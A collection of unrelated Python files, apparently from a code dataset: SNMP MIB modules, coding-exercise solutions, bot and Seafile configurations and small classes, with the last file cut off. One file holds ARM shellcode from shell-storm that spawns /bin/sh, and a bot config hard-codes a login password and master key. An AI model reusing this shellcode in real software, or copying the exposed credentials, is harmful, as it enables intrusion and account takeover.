tmsMitigationName = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 5), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsMitigationName.setStatus('current')
if mibBuilder.loadTexts: tmsMitigationName.setDescription('Name of this mitigation')
tmsIpv6DestinationPrefix = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 6), Ipv6AddressPrefix()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsIpv6DestinationPrefix.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6DestinationPrefix.setDescription('Destination IPv6 prefix to which this mitigation applies. The value 0::/128 indicates that the mitigation has no IPv6 prefix.')
tmsIpv6DestinationPrefixMask = MibTableColumn((1, 3, 6, 1, 4, 1, 9694, 1, 5, 5, 2, 3, 1, 7), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 128))).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsIpv6DestinationPrefixMask.setStatus('current')
if mibBuilder.loadTexts: tmsIpv6DestinationPrefixMask.setDescription('Destination IPv6 prefix to which this mitigation applies. The value 0::/128 indicates that the mitigation has no IPv6 prefix.')
mibBuilder.exportSymbols("PEAKFLOW-TMS-MIB", tmsConfigError=tmsConfigError, tmsTrapNexthop=tmsTrapNexthop, devicePhysicalMemoryUsage=devicePhysicalMemoryUsage, tmsTrapString=tmsTrapString, tmsIpv6DestinationPrefixMask=tmsIpv6DestinationPrefixMask, tmsNexthopUp=tmsNexthopUp, tmsPerformanceLossy=tmsPerformanceLossy, tmsConfigOk=tmsConfigOk, tmsTrapGreDestination=tmsTrapGreDestination, tmsHostFault=tmsHostFault, tmsFilesystemNominal=tmsFilesystemNominal, tmsSpCommunicationDown=tmsSpCommunicationDown, tmsSystemPrefixesMissing=tmsSystemPrefixesMissing, tmsTrapIpv6Nexthop=tmsTrapIpv6Nexthop, peakflowTmsObj=peakflowTmsObj, tmsLastUpdate=tmsLastUpdate, tmsMitigationId=tmsMitigationId, tmsMitigationConfig=tmsMitigationConfig, tmsMitigationLastUpdate=tmsMitigationLastUpdate, tmsMitigationError=tmsMitigationError, deviceDiskUsage=deviceDiskUsage, tmsMitigationIndex=tmsMitigationIndex, peakflowTmsTrapsEnumerate=peakflowTmsTrapsEnumerate, tmsIpv6GreTunnelUp=tmsIpv6GreTunnelUp, tmsBgpNeighborUp=tmsBgpNeighborUp, tmsMitigationEntry=tmsMitigationEntry, deviceCpuLoadAvg1min=deviceCpuLoadAvg1min, tmsMitigationNumber=tmsMitigationNumber, peakflowTmsMgr=peakflowTmsMgr, tmsSystemPrefixesOk=tmsSystemPrefixesOk, greTunnelDown=greTunnelDown, subHostUp=subHostUp, tmsLinkUp=tmsLinkUp, tmsBgpNeighborDown=tmsBgpNeighborDown, tmsLinkDown=tmsLinkDown, tmsMitigationTable=tmsMitigationTable, tmsSwComponentDown=tmsSwComponentDown, tmsIpv6NexthopUp=tmsIpv6NexthopUp, tmsTrapComponentName=tmsTrapComponentName, tmsIpv6BgpNeighborDown=tmsIpv6BgpNeighborDown, hostFault=hostFault, tmsPerformanceOk=tmsPerformanceOk, tmsHostUpTime=tmsHostUpTime, tmsVersion=tmsVersion, tmsIpv6GreTunnelDown=tmsIpv6GreTunnelDown, tmsTrapGreSource=tmsTrapGreSource, tmsAutomitigationBgpSuspended=tmsAutomitigationBgpSuspended, tmsHwDeviceDown=tmsHwDeviceDown, tmsMitigationSuspended=tmsMitigationSuspended, PYSNMP_MODULE_ID=peakflowTmsMIB, tmsAutomitigationBgpDisabled=tmsAutomitigationBgpDisabled, tmsTrapIpv6GreSource=tmsTrapIpv6GreSource, tmsNexthopDown=tmsNexthopDown, greTunnelUp=greTunnelUp, tmsSwComponentUp=tmsSwComponentUp, tmsSystemStatusNominal=tmsSystemStatusNominal, tmsHwDeviceUp=tmsHwDeviceUp, TmsTableIndexOrZero=TmsTableIndexOrZero, tmsTrapIpv6BgpPeer=tmsTrapIpv6BgpPeer, deviceSwapSpaceUsage=deviceSwapSpaceUsage, tmsSystemStatusDegraded=tmsSystemStatusDegraded, peakflowTmsTraps=peakflowTmsTraps, tmsDestinationPrefixMask=tmsDestinationPrefixMask, tmsHwSensorCritical=tmsHwSensorCritical, peakflowTmsMIB=peakflowTmsMIB, tmsDpiConfig=tmsDpiConfig, tmsFilesystemCritical=tmsFilesystemCritical, tmsIpv6NexthopDown=tmsIpv6NexthopDown, tmsConfigMissing=tmsConfigMissing, tmsTrapBgpPeer=tmsTrapBgpPeer, deviceCpuLoadAvg15min=deviceCpuLoadAvg15min, tmsIpv6DestinationPrefix=tmsIpv6DestinationPrefix, tmsTrapDetail=tmsTrapDetail, deviceCpuLoadAvg5min=deviceCpuLoadAvg5min, tmsIpv6BgpNeighborUp=tmsIpv6BgpNeighborUp, TmsPercentage=TmsPercentage, tmsSystemStatusError=tmsSystemStatusError, tmsSystemStatusCritical=tmsSystemStatusCritical, tmsTrapSubhostName=tmsTrapSubhostName, TmsTableIndex=TmsTableIndex, tmsHwSensorOk=tmsHwSensorOk, tmsMitigationName=tmsMitigationName, tmsMitigationRunning=tmsMitigationRunning, TmsHundredths=TmsHundredths, tmsTrapIpv6GreDestination=tmsTrapIpv6GreDestination, tmsDestinationPrefix=tmsDestinationPrefix, tmsAutomitigationBgpEnabled=tmsAutomitigationBgpEnabled, tmsSpCommunicationUp=tmsSpCommunicationUp, tmsHwSensorUnknown=tmsHwSensorUnknown, subHostDown=subHostDown)
|
#
# PySNMP MIB module ENTERASYS-ENCR-8021X-REKEYING-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ENTERASYS-ENCR-8021X-REKEYING-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 18:48:58 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ConstraintsUnion, ConstraintsIntersection, ValueSizeConstraint, ValueRangeConstraint, SingleValueConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsUnion", "ConstraintsIntersection", "ValueSizeConstraint", "ValueRangeConstraint", "SingleValueConstraint")
etsysModules, = mibBuilder.importSymbols("ENTERASYS-MIB-NAMES", "etsysModules")
dot1xPaePortNumber, = mibBuilder.importSymbols("IEEE8021-PAE-MIB", "dot1xPaePortNumber")
NotificationGroup, ObjectGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ObjectGroup", "ModuleCompliance")
Counter64, Integer32, Counter32, ObjectIdentity, NotificationType, iso, Unsigned32, Bits, MibScalar, MibTable, MibTableRow, MibTableColumn, ModuleIdentity, MibIdentifier, IpAddress, TimeTicks, Gauge32 = mibBuilder.importSymbols("SNMPv2-SMI", "Counter64", "Integer32", "Counter32", "ObjectIdentity", "NotificationType", "iso", "Unsigned32", "Bits", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ModuleIdentity", "MibIdentifier", "IpAddress", "TimeTicks", "Gauge32")
TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString")
etsysEncr8021xRekeyingMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20))
etsysEncr8021xRekeyingMIB.setRevisions(('2002-03-14 20:49',))
if mibBuilder.loadTexts: etsysEncr8021xRekeyingMIB.setLastUpdated('200203142049Z')
if mibBuilder.loadTexts: etsysEncr8021xRekeyingMIB.setOrganization('Enterasys Networks, Inc')
etsysEncrDot1xRekeyingObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1))
etsysEncrDot1xRekeyBaseBranch = MibIdentifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1))
etsysEncrDot1xRekeyConfigTable = MibTable((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1), )
if mibBuilder.loadTexts: etsysEncrDot1xRekeyConfigTable.setStatus('current')
etsysEncrDot1xRekeyConfigEntry = MibTableRow((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1), ).setIndexNames((0, "IEEE8021-PAE-MIB", "dot1xPaePortNumber"))
if mibBuilder.loadTexts: etsysEncrDot1xRekeyConfigEntry.setStatus('current')
etsysEncrDot1xRekeyEnabled = MibTableColumn((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 1), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: etsysEncrDot1xRekeyEnabled.setStatus('current')
etsysEncrDot1xRekeyPeriod = MibTableColumn((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: etsysEncrDot1xRekeyPeriod.setStatus('current')
etsysEncrDot1xRekeyLength = MibTableColumn((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: etsysEncrDot1xRekeyLength.setStatus('current')
etsysEncrDot1xRekeyAsymmetric = MibTableColumn((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 1, 1, 1, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: etsysEncrDot1xRekeyAsymmetric.setStatus('current')
etsysEncrDot1xRekeyingConformance = MibIdentifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2))
etsysEncrDot1xRekeyingGroups = MibIdentifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 1))
etsysEncrDot1xRekeyingCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 2))
etsysEncrDot1xRekeyingBaseGroup = ObjectGroup((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 1, 1)).setObjects(("ENTERASYS-ENCR-8021X-REKEYING-MIB", "etsysEncrDot1xRekeyPeriod"), ("ENTERASYS-ENCR-8021X-REKEYING-MIB", "etsysEncrDot1xRekeyEnabled"), ("ENTERASYS-ENCR-8021X-REKEYING-MIB", "etsysEncrDot1xRekeyLength"), ("ENTERASYS-ENCR-8021X-REKEYING-MIB", "etsysEncrDot1xRekeyAsymmetric"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
etsysEncrDot1xRekeyingBaseGroup = etsysEncrDot1xRekeyingBaseGroup.setStatus('current')
etsysEncrDot1xRekeyingCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 5624, 1, 2, 20, 2, 2, 1)).setObjects(("ENTERASYS-ENCR-8021X-REKEYING-MIB", "etsysEncrDot1xRekeyingBaseGroup"))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
etsysEncrDot1xRekeyingCompliance = etsysEncrDot1xRekeyingCompliance.setStatus('current')
mibBuilder.exportSymbols("ENTERASYS-ENCR-8021X-REKEYING-MIB", etsysEncrDot1xRekeyingCompliances=etsysEncrDot1xRekeyingCompliances, etsysEncrDot1xRekeyingGroups=etsysEncrDot1xRekeyingGroups, PYSNMP_MODULE_ID=etsysEncr8021xRekeyingMIB, etsysEncrDot1xRekeyPeriod=etsysEncrDot1xRekeyPeriod, etsysEncrDot1xRekeyingObjects=etsysEncrDot1xRekeyingObjects, etsysEncrDot1xRekeyingBaseGroup=etsysEncrDot1xRekeyingBaseGroup, etsysEncrDot1xRekeyConfigEntry=etsysEncrDot1xRekeyConfigEntry, etsysEncrDot1xRekeyingConformance=etsysEncrDot1xRekeyingConformance, etsysEncrDot1xRekeyEnabled=etsysEncrDot1xRekeyEnabled, etsysEncrDot1xRekeyingCompliance=etsysEncrDot1xRekeyingCompliance, etsysEncr8021xRekeyingMIB=etsysEncr8021xRekeyingMIB, etsysEncrDot1xRekeyAsymmetric=etsysEncrDot1xRekeyAsymmetric, etsysEncrDot1xRekeyLength=etsysEncrDot1xRekeyLength, etsysEncrDot1xRekeyBaseBranch=etsysEncrDot1xRekeyBaseBranch, etsysEncrDot1xRekeyConfigTable=etsysEncrDot1xRekeyConfigTable)
|
# !/usr/bin/env python3
# Author: C.K
# Email: theck17@163.com
# DateTime:2021-05-24 18:24:44
# Description:
class Solution(object):
def findLadders(self, beginWord, endWord, wordList):
wordList = set(wordList)
res = []
layer = {}
layer[beginWord] = [[beginWord]]
while layer:
newlayer = collections.defaultdict(list)
for w in layer:
if w == endWord:
res.extend(k for k in layer[w])
else:
for i in range(len(w)):
for c in 'abcdefghijklmnopqrstuvwxyz':
neww = w[:i] + c + w[i + 1:]
if neww in wordList:
newlayer[neww] += [
j + [neww] for j in layer[w]
]
wordList -= set(newlayer.keys())
layer = newlayer
return res
if __name__ == "__main__":
pass
|
"""Programa 3_8.py
Descrição: Escrever um programa que leia em metros e exiba o valor em milímitros.
Autor:Cláudio Schefer
Data:
Versão: 001
"""
# Declaração de variáveis
metros = float()
milímetros = float()
# Entrada de dados
metros = float(input("Digite o valor em métros: "))
# Processamento
milímetros = metros * 1000
# Saída de dados
print("%20.3f metros equivalem a %10.3f milímetros." % (metros, milímetros))
|
# -*- coding: utf-8 -*-
class Attendance(object):
def __init__(self, user_id, timestamp, status, punch=0, uid=0):
self.uid = uid # not really used any more
self.user_id = user_id
self.timestamp = timestamp
self.status = status
self.punch = punch
def __str__(self):
return '<Attendance>: {} : {} ({}, {})'.format(self.user_id, self.timestamp, self.status, self.punch)
def __repr__(self):
return '<Attendance>: {} : {} ({}, {})'.format(self.user_id, self.timestamp,self.status, self.punch)
|
"""
@Author: huuuuusy
@GitHub: https://github.com/huuuuusy
系统: Ubuntu 18.04
IDE: VS Code 1.39
工具: python == 3.7.3
"""
"""
思路:
双指针
结果:
执行用时 : 124 ms, 在所有 Python3 提交中击败了88.13%的用户
内存消耗 : 13.8 MB, 在所有 Python3 提交中击败了5.04%的用户
"""
class Solution:
def threeSumClosest(self, nums, target):
nums = sorted(nums)
n = len(nums)
res = float('inf')
for i in range(n):
if i>0 and nums[i]==nums[i-1]: # 如果当前数值已经出现,则直接跳过本次循环
continue
left = i+1
right = n-1
while left < right:
cur = nums[left] + nums[right] + nums[i] # 计算当前结果
if cur == target: # 如果当前数值等于target则直接返回
return target
if abs(cur - target) < abs(res - target): # 如果与target的差距缩小,则进行替换
res = cur
if cur > target: # 如果当前值偏大,则右指针左移
right -= 1
if cur < target: # 如果当前值偏小,则左指针右移
left += 1
return res
if __name__ == "__main__":
nums = [0,2,1,-3]
target = 1
answer = Solution().threeSumClosest(nums, target)
print(answer)
|
# admins defines who can issue admin-level commands to the bot. Looks like this:
# admins = ["First Admin", "second admin", "xXx third admin-dono xXX"]
#please be precise, else python pukes up an error. TIA.
admins = ["Exo", "Kalikrates"]
#This is the login infor for the account Cogito runs over.
account= "Cogito"
character= "Cogito"
password= "1ChD3Nk34Ls=!"
#For channels, make sure you enter their PRECISE title, including any trailing spaces and/or punctuation!
#channels= ['Development']
channels= ['Gay/Bi Male Human(oid)s. ', 'Coaches, Sweat and Muscles', 'Manly Males of Extra Manly Manliness', 'The Felines Lair~!']
host= 'chat.f-list.net'
port= 9722 #9722 - Real | 8722 - Dev
version= "2.1"
banter = True
banterchance = 1.0
messagelimit = 7
minSendDelay = 1.0
#Format: Command : (function_name, level required for access, message type required for access.)
#levels:
#2: normal user.
#1: channel admin/chat admin.
#0: admin defined above, in config.py
#message types:
#0: private message
#1: in-channel
#2: in-channel, mentioning config.character; e.g. Cogito: <function>
functions = {
".shutdown": ("hibernation", 0, [0]),
".join": ("join", 0, [0,1]),
".leave": ("leave", 0, [0,1]),
".lockdown": ("lockdown", 0, [0,1,2]),
".minage": ("minage", 0, [0,1]),
".scan": ("scan", 0, [1]),
".act": ("act", 1, [0,1]),
".noAge": ("alertNoAge", 1, [0,1]),
".underAge": ("alertUnderAge", 1, [0,1]),
".ban": ("ban", 1, [0,1]),
".black": ("blacklist", 1, [0,1]),
".deop": ("deop", 1, [0,1]),
".kick": ("kick", 1, [0,1]),
".lj": ("lastJoined", 1, [0,1]),
".op": ("op", 1, [0,1]),
".r": ("rainbowText", 1, [0,1]),
".say": ("say", 1, [0,1]),
".white": ("whitelist", 1, [0,1]),
".ignore": ("ignore", 1, [1]),
".auth": ("auth", 2, [0]),
".bingo": ("bingo", 2, [0,1]),
".lc": ("listIndices", 2, [0]),
".help": ("help", 2, [0,1]),
".tell": ("tell", 2, [0,1])}
masterkey = "425133f6b2a9a881d9dc67f5db17179e" |
"""Define class ModelParams which has relevant attributes
Params
------
transmission_rate: float
sip_start_date: int
initial_infection_multiplier: float
prison_infection_rate = None: float
police_contact_rate = None: float
police_group_size = int
Returns
-------
an object of the class ModelParams that has attributes for each of the above
parameters
"""
class ModelParams:
def __init__(self, transmission_rate,
sip_start_date,
initial_infection_multiplier,
prison_infection_rate = None,
police_contact_rate = None,
police_group_size = None):
self.transmission_rate = transmission_rate
self.sip_start_date = sip_start_date
self.initial_infection_multiplier = initial_infection_multiplier
self.prison_infection_rate = prison_infection_rate
self.police_contact_rate = police_contact_rate
self.police_group_size = police_group_size
"""Add attributes based on parameters we modified for uncertainty calculations
"""
def add_uncertainty_params(self, infection, pc, pgrp):
self.prison_infection_rate = infection
self.police_contact_rate = pc
self.police_group_size = pgrp
return self
"""Format name that is suitable for these model params
"""
def get_name(self):
suffix = '_pc%s_pgrp%s'%(self.police_contact_rate, self.police_group_size)
name = 'I%s_PI%s_L%s'%(self.initial_infection_multiplier,
self.prison_infection_rate, self.sip_start_date) + \
"__" + suffix
return name
|
class Solution:
def moveZeroes(self, nums):
"""
:type nums: List[int]
:rtype: void Do not return anything, modify nums in-place instead.
"""
index = 0
for i in range(0,len(nums)):
if nums[i] != 0:
nums[index] = nums[i]
index += 1
nums[index:] = (len(nums) - index) * [0] |
class Fraction:
def __init__(self, n, den=1):
if isinstance(n, float):
string = str(n)
decimalCount = len(string[string.find("."):]) - 1
self.numerator = int(n * 10 ** decimalCount)
self.denominator = int(10 ** decimalCount)
self.reduce(self)
else:
self.numerator = n
self.denominator = den
@staticmethod
def gcd(a, b):
while b:
a, b = b, a % b
return a
@staticmethod
def lcm(a, b):
return a * b // Fraction.gcd(a, b)
@staticmethod
def reduce(frac: "Fraction"):
gcd = Fraction.gcd(frac.numerator, frac.denominator)
frac.numerator //= gcd
frac.denominator //= gcd
return frac
@property
def decimal(self):
return self.numerator / self.denominator
def __mul__(self, other):
otherF = Fraction(other) if not isinstance(other, Fraction) else other
frac = Fraction(1)
frac.numerator = self.numerator * otherF.numerator
frac.denominator = self.denominator * otherF.denominator
return self.reduce(frac)
def __rmul__(self, other):
return self.__mul__(other)
def __truediv__(self, other):
otherF = Fraction(other) if not isinstance(other, Fraction) else other
frac = Fraction(1)
frac.numerator, frac.denominator = otherF.denominator, otherF.numerator
return self.__mul__(frac)
def __rtruediv__(self, other):
frac = Fraction(1)
frac.numerator, frac.denominator = self.denominator, self.numerator
return frac * other
def __floordiv__(self, other):
return self.__truediv__(other)
def __rfloordiv__(self, other):
return self.__rtruediv__(other)
def __add__(self, other):
otherF = Fraction(other) if not isinstance(other, Fraction) else other
frac = Fraction(1)
lcm = Fraction.lcm(self.denominator, otherF.denominator)
frac.denominator = lcm
frac.numerator = self.numerator * lcm // self.denominator + otherF.numerator * lcm // otherF.denominator
return self.reduce(frac)
def __radd__(self, other):
return self.__add__(other)
def __sub__(self, other):
otherF = Fraction(other) if not isinstance(other, Fraction) else other
frac = Fraction(1)
frac.numerator = otherF.numerator * -1
frac.denominator = otherF.denominator
return self.__add__(frac)
def __rsub__(self, other):
return self.__neg__().__add__(other)
def __neg__(self):
frac = Fraction(1)
frac.numerator, frac.denominator = -self.numerator, self.denominator
return frac
def __str__(self):
if self.denominator == 1 or self.numerator == 0:
return f"{self.numerator}"
else:
return f"{self.numerator}/{self.denominator}"
"""
fraction1 = Fraction(0.25)
fraction2 = Fraction(0.2)
print(fraction1, fraction2)
print(-fraction1, -fraction2)
print(fraction1 - 3)
print(3 - fraction1)
print(fraction1 + 2)
print(2 + fraction1)
print(fraction1 * fraction2)
print(fraction2 * fraction1)
print(fraction1 / fraction2)
print(fraction2 / fraction1)
""" |
class NodeTemplate(object):
def __init__(self, name):
self.name = name
def to_dict(self):
raise NotImplementedError()
def get_attr(self, attribute):
return {'get_attribute': [self.name, attribute]}
class RSAKey(NodeTemplate):
def __init__(self,
name,
key_name,
openssh_format=True,
use_secret_store=True,
use_secrets_if_exist=True,
store_private_key_material=True):
super(RSAKey, self).__init__(name)
self.key_name = key_name
self.openssh_format = openssh_format
self.use_secret_store = use_secret_store
self.use_secrets_if_exist = use_secrets_if_exist
self.store_private_key_material = store_private_key_material
def to_dict(self):
return {
'type': 'cloudify.keys.nodes.RSAKey',
'properties': {
'resource_config': {
'key_name': self.key_name,
'openssh_format': self.openssh_format
},
'use_secret_store': self.use_secret_store,
'use_secrets_if_exist': self.use_secrets_if_exist
},
'interfaces': {
'cloudify.interfaces.lifecycle': {
'create': {
'implementation':
'keys.cloudify_ssh_key.operations.create',
'inputs': {
'store_private_key_material':
self.store_private_key_material
}
}
}
}
}
class CloudInit(NodeTemplate):
def __init__(self,
name,
agent_user,
ssh_authorized_keys):
super(CloudInit, self).__init__(name)
self.agent_user = agent_user
self.ssh_authorized_keys = ssh_authorized_keys
def to_dict(self):
return {
'type': 'cloudify.nodes.CloudInit.CloudConfig',
'properties': {
'resource_config': {
'users': [
{'name': self.agent_user,
'shell': '/bin/bash',
'sudo': ['ALL=(ALL) NOPASSWD:ALL'],
'ssh-authorized-keys': self.ssh_authorized_keys}
]
}
},
'relationships': [
{'type': 'cloudify.relationships.depends_on',
'target': 'agent_key'}
]
}
|
class Solution:
def findSmallestRegion(self, regions: List[List[str]], region1: str, region2: str) -> str:
seen = set()
graph = {}
for nodes in regions:
root = nodes[0]
if root not in graph:
graph[root] = root
for child in nodes[1:]:
graph[child] = root
paths1 = self.search(region1, graph)
paths2 = self.search(region2, graph)
length = min(len(paths1), len(paths2))
index = length
for i in range(length):
if paths1[i] != paths2[i]:
index = i
break
return paths1[index - 1]
def search(self, region, graph):
paths = []
root = region
while graph[root] != root:
paths.append(root)
root = graph[root]
paths.append(root)
return paths[::-1]
|
# -*- coding: utf-8 -*-
"""This module contains the blueprint app configuration"""
# The namespace of the application. Used to prevent collisions in supporting services across
# applications. If not set here, the app's enclosing directory name is used.
# APP_NAMESPACE = 'app-name'
# Dictionaries for the various NLP classifier configurations
# Logistic regression model for intent classification
INTENT_CLASSIFIER_CONFIG = {
"model_type": "text",
"model_settings": {"classifier_type": "logreg"},
"param_selection": {
"type": "k-fold",
"k": 5,
"grid": {
"fit_intercept": [True, False],
"C": [0.01, 1, 10, 100],
"class_bias": [0.7, 0.3, 0],
},
},
"features": {
"bag-of-words": {"lengths": [1, 2]},
"edge-ngrams": {"lengths": [1, 2]},
"in-gaz": {},
"exact": {"scaling": 10},
"gaz-freq": {},
"freq": {"bins": 5},
},
}
ENTITY_RECOGNIZER_CONFIG = {
"model_type": "tagger",
"label_type": "entities",
"model_settings": {
"classifier_type": "memm",
"tag_scheme": "IOB",
"feature_scaler": "max-abs",
},
"param_selection": {
"type": "k-fold",
"k": 5,
"scoring": "accuracy",
"grid": {
"penalty": ["l1", "l2"],
"C": [0.01, 1, 100, 10000, 1000000, 100000000],
},
},
"features": {
"bag-of-words-seq": {
"ngram_lengths_to_start_positions": {
1: [-2, -1, 0, 1, 2],
2: [-2, -1, 0, 1],
}
},
"sys-candidates-seq": {"start_positions": [-1, 0, 1]},
},
}
|
class White(object):
def __init__(self):
self.color = 255, 255, 255
self.radius = 10
self.width = 10
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CS231n Convolutional Neural Networks for Visual Recognition
http://cs231n.github.io/
Python Numpy Tutorial
http://cs231n.github.io/python-numpy-tutorial/
 ̄
python_numpy_tutorial-python-basic_data_types.py
2019-07-03 (Wed)
"""
# Python Numpy Tutorial > Python > Basic data types
# Numbers
# integers & floats work as you would expect from other languages.
# Python doesn't have unary increment/decrement operators or x++ / x--.
# Complex numbers are supported
#
# Booleans
# All of the logic operators are supported.
# The operators are in English words rather than symbols.
# For example, (A and B) (A or B) rather than (A&&B) (A||B).
#
# Strings
# Strings are surround by:
# single quotes 'str'
# double quotes "str"
# triple quotes '''str'''
# triple quotes """str"""
# String objects have a bunch of useful methods.
#
# This example covers:
# Numeric types: int, float, complex
# booleans
# strings
#
# Read more about:
# 4.4. Numeric Types — int, float, complex
# https://docs.python.org/3.5/library/stdtypes.html#numeric-types-int-float-complex
print('Numbers: integers')
x = 3
print( x )
#3
print( type(x) )
#<class 'int'>
print( x+1 ) # Addition
#4
print( x-1 ) # Subtraction
#2
print( x*2 ) # Multiplication
#6
print( x**2 ) # Exponentiation
#9
x +=1
print( x )
#4
x *= 2
print( x )
#8
print('Numbers: floats')
y = 2.5
print( type(y) )
#<class 'float'>
print(y,y+1,y*2,y**2)
#2.5 3.5 5.0 6.25
print('Booleans')
t = True
f = False
print( type(t) )
#<class 'bool'>
print( t and f ) # Logical AND
#False
print( t or f ) # Logical OR
#True
print( not t) # Logical not
#False
print( t != f ) # Logical XOR
#True
print('Strings')
hello = 'hello'
world = "world"
print( hello )
#hello
print( len(hello) )
#5
# String concatenation
hw = hello + ', ' + world
print(hw)
#hello, world
# sprintf style string formatting
hw12 = '%s %s %d' % (hello,world,12)
print(hw12)
#hello world 12
# Methods
s = hello
print( s.capitalize() )
#Hello
print( s.upper() )
#HELLO
# Right-justing a string; padding with spaces
print( s.rjust(7) )
# hello
# Cetering a string; padding with spaces
print( s.center(7) )
# hello
print( s.replace('l','(ell)'))
#he(ell)(ell)o
# Strip leading and trailing whitespaces.
print(' world '.strip() )
#world |
def linearSearch(arr, x):
for i in range(len(arr)):
if arr[i] == x:
return i
return -1
if __name__ == "__main__":
arr = [0,1,2,3,4,5,6,7,8,9]
x = 6
print("Value is present at index number: {}".format(linearSearch(arr,x))) |
"""
__init__.py
Created by: Martin Sicho
On: 4/27/20, 6:22 PM
"""
__all__ = tuple()
|
produtos = ('Lápís', 1.75, 'Borracha', 2.00, 'Caderno', 15.90, 'Estojo', 25.00, 'Transferidor', 4.20,
'Compasso', 9.99, 'Mochila', 120.32, 'Canetas', 22.30, 'Livro', 34.90)
for prod in range(0, len(produtos)):
if prod % 2 == 0:
print(f'{produtos[prod]:.<30}', end='')
else:
print(f'R$ {produtos[prod]:.2f}')
|
#http://shell-storm.org/shellcode/files/shellcode-855.php
#Author : gunslinger_ (yuda at cr0security dot com)
def bin_sh():
shellcode = r"\x01\x60\x8f\xe2"
shellcode += r"\x16\xff\x2f\xe1"
shellcode += r"\x40\x40"
shellcode += r"\x78\x44"
shellcode += r"\x0c\x30"
shellcode += r"\x49\x40"
shellcode += r"\x52\x40"
shellcode += r"\x0b\x27"
shellcode += r"\x01\xdf"
shellcode += r"\x01\x27"
shellcode += r"\x01\xdf"
shellcode += r"\x2f\x2f"
shellcode += r"\x62\x69\x6e\x2f"
shellcode += r"\x2f\x73"
shellcode += r"\x68"
return shellcode
|
SECRET_KEY = "GENERATA AL SETUP DI SEAFILE"
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'seahub-db',
'USER': 'UTENTE DB MYSQL',
'PASSWORD': 'INSERIRE LA PASSWORD DI MYSQL',
'HOST': '127.0.0.1',
'PORT': '3306',
'OPTIONS': {
'init_command': 'SET storage_engine=INNODB',
}
}
}
FILE_SERVER_ROOT = 'https://cname.dominio.tld/seafhttp'
SERVE_STATIC = True
MEDIA_URL = '/seafmedia/'
SITE_ROOT = '/archivio/'
COMPRESS_URL = MEDIA_URL
STATIC_URL = MEDIA_URL + 'assets/'
# workaround momentaneo valido almeno per la 4.x (5.x da testare)
DEBUG = True
LANGUAGE_CODE = 'it-IT'
# show or hide library 'download' button
SHOW_REPO_DOWNLOAD_BUTTON = True
# enable 'upload folder' or not
ENABLE_UPLOAD_FOLDER = True
# enable resumable fileupload or not
ENABLE_RESUMABLE_FILEUPLOAD = True
# browser tab title
SITE_TITLE = 'Archivio ACME'
# Path to the Logo Imagefile (relative to the media path)
#LOGO_PATH = 'img/seafile_logo.png'
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',
'LOCATION': '127.0.0.1:11211',
}
}
|
"""
A board of players for the Tsuro game.
:Author: Maded Batara III
:Version: v1.0
"""
class PlayerBoard:
"""
A PlayerBoard is a representation of the Tsuro board as a 2D list.
An R*C board in the game is represented by a 2D list with 2*R rows
and (3*C)+1 columns. The R*C board will be referred to as the tile
board; the grid graph will be referred to as the graph board.
"""
def __init__(self, rows, cols):
"""
Creates a new PlayerBoard.
Args:
rows (int): Number of rows in the board.
cols (int): Number of columns in the board.
"""
self.rows = rows
self.cols = cols
self.graph_rows = 2 * rows
self.graph_cols = 3 * cols + 1
self.grid = [[[None] * self.graph_cols] * self.graph_rows]
self.positions = {}
def place(self, player, graph_index):
"""
Places a player in the board.
Args:
player (Player): Player to place in the board.
graph_index (tuple): Row and column of node to place player in.
"""
self.grid[graph_index[0]][graph_index[1]] = player.turn
self.positions[player.turn] = graph_index
def move(self, player, graph_index):
"""
